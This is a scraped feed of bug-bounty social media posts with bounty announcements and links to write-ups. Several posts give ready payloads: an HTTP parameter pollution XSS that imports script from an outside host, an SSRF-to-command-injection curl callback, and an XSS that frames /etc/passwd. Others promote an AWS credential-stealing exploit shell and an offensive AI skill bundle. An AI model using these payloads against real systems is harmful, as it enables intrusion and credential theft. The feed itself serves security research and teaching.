MrD0tt

[MrD0tt @MrD0tt]

Remote Code Execution of PHPUnit (RCE) POC Video
How I found RCE in five minutes.
https://t.co/r2ud9BQeM3 #bugbountytip #infosecurity #infosec #BugBounty #bugbountytips #CVE_2017_9841 #rce

[Densel @luckyhacker43]

$13,950 GitLab Bug Bounty 🤯🔥

XSS in ZenTao integration affecting self hosted instances without strict CSP by joaxcar

👨‍💻 Johan Carlsson (x/joaxcar)
🔗 https://t.co/L0UFJWLdTF

🔗 Join team 👉https://t.co/FeMz53HSN0

[KNOXSS @KN0X55]

HPP XSS Vector

Two params, one payload.
Let the backend connect the dots.

?p=1"><Img Src=//X55.is?%20&p= 1%20OnLoad=import(src)>

Works for:

- ASP .NET (comma concat)
- Express (array join)
- Flask (getlist)
- Django (getlist)

#hack2learn

[Densel @luckyhacker43]

$850 CloudFlare Bug Bounty 🤑

When You Get Your MCP Wrong: Second-Order XSS to Cloudflare Access Account Takeover by Nishant 🤯🔥

👨‍💻 Nishant (x/matured_kazama)
🔗 https://t.co/rAccSrM4tJ

🔗 Join team 👉https://t.co/FeMz53HSN0

[skull @brutecat]

Hacking Google with A.I. for $500,000

https://t.co/S8NbDU9ZaN

[Densel @luckyhacker43]

$12,500 Bug Bounty 💰

Making HTTP header injection critical via response queue poisoning by James Kettle 🤯🔥

👨‍💻 James Kettle (x/albinowax)
🔗 https://t.co/CXboIS6LXZ

🔗 Join team 👉https://t.co/FeMz53HSN0

[Densel @luckyhacker43]

"From Default IIS Page to Critical SQL Injection" 🤯🔥

👨‍💻 Ahmad Mugh33ra
🔗 https://t.co/8tfq5xi81n
Join our channel for more, link on my bio

[termireum @termireum]

From 403 Forbidden to a €1,500 Bounty
https://t.co/uwD4qPcxM4

[MrD0tt @MrD0tt]

@_kujen5 @cantinasecurity Great job buddy. Reward doesn’t matter but the effort was genuine and got acknowledged, that’s enough.

[MrD0tt @MrD0tt]

@wadgamaraldeen Yogosha

[MrD0tt @MrD0tt]

@only01Essential Congratulations. Which org it is? Although I am not a web3 pro.

[DarkShadow @darkshadow2bd]

?url= ❌SSRF, ✅RCE
if you find a parameter which passing url then, before testing SSRF try to test RCE.

1. bypass: ?url=http://x"; [now add here your blind rce payload]
2. payload: curl${ IFS }burp-collab-link;#

Join my BugBounty telegram channel: https://t.co/k00oXcRJsi

[Vivek | Cybersecurity @VivekIntel]

Claude Code Skill Bundle for Bug Bounty Hunting & External Red Team Operations 🤖💀

• 51 offensive security skills + 15 slash commands • Trained on 574+ disclosed HackerOne-style report patterns • Covers XSS, SSRF, SQLi, OAuth, JWT, GraphQL, RCE, IDOR & API abuse • Enterprise attack chains for M365, Okta, VPNs, SharePoint & vCenter • Built-in recon, exploit chaining, triage, evidence hygiene & reporting

https://t.co/89R7Cx20oz

#BugBounty #RedTeam #CyberSecurity #Pentesting #AppSec

[Yunus Emre Öztaş @ynsmroztas]

🚨 CVE-2026-44578 — Next.js WebSocket SSRF

Built a scanner + interactive exploit shell.
AWS credentials exfiltrated in 3 steps:

[1/3] Cloud auto-detect → AWS confirmed
[2/3] IAM role found: profile
[3/3] 🎯 AccessKeyId + SecretKey + Token

✅ Pipeline ready: subfinder | httpx | nextssrf
✅ Zero dependencies (stdlib only)
✅ Interactive shell with auto IAM chain

Affected: Next.js 13.4.13 → 15.5.15
Fixed: 15.5.16 / 16.2.5 (self-hosted only)

🔗 https://t.co/vLwbUYJ8Dz

#BugBounty #InfoSec #RedTeam #AppSec #bugbountytip #bugbountytips #infosec #recon

[MrD0tt @MrD0tt]

@Shabosec @sachin_pandey98 @lostsec_ @Olamdeen Scammer with fake screenshot 😂😂😂 trying to gain followers. search site:*.co.org you will see nothing. Jerk.

[Brut 🇮🇳 @wtf_yodhha]

CVE-2026-29000: Critical Auth Bypass in pac4j-jwt: Full PoC Using Only a Public Key

https://t.co/kE776wB4Ae

#BugBounty #bugbountytips

[bugcrowd @Bugcrowd]

The difference between a "Blocked" notification and a $5,000 bounty. 💸

[VIEH Group @viehgroup]

XSS to LFI 😎

Payload ->
<img src="echopwn" onerror​="document.write('<iframe src=file:///etc/passwd></iframe>')"/>

Root Idea ->
Here XSS payload is using an <img> tag with a broken src. The onerror event triggers JavaScript execution. JavaScript writes an <iframe> into the page. The iframe loads a local file (file:///etc/passwd), attempting LFI via XSS.

Credit: Rachit

#bugbounty #bugbountytips

[MrD0tt @MrD0tt]

@sl4x0 Congrats bro. Can you please clear it? After more than 24h+ of pkg published, we can push the poc with curl command and this will get ban or package deletion? and we can safely wait for execution by the org. which will shape it ultimate critical?

[Md Ismail Šojal 🕷️ @0x0SojalSec]

Automates security operations with AI agents🙂

- https://t.co/kqVhPddssl

#infosec #cybersec #Pentesting #aiagent

[MrD0tt @MrD0tt]

@addydaddymc @exploit5lover 👏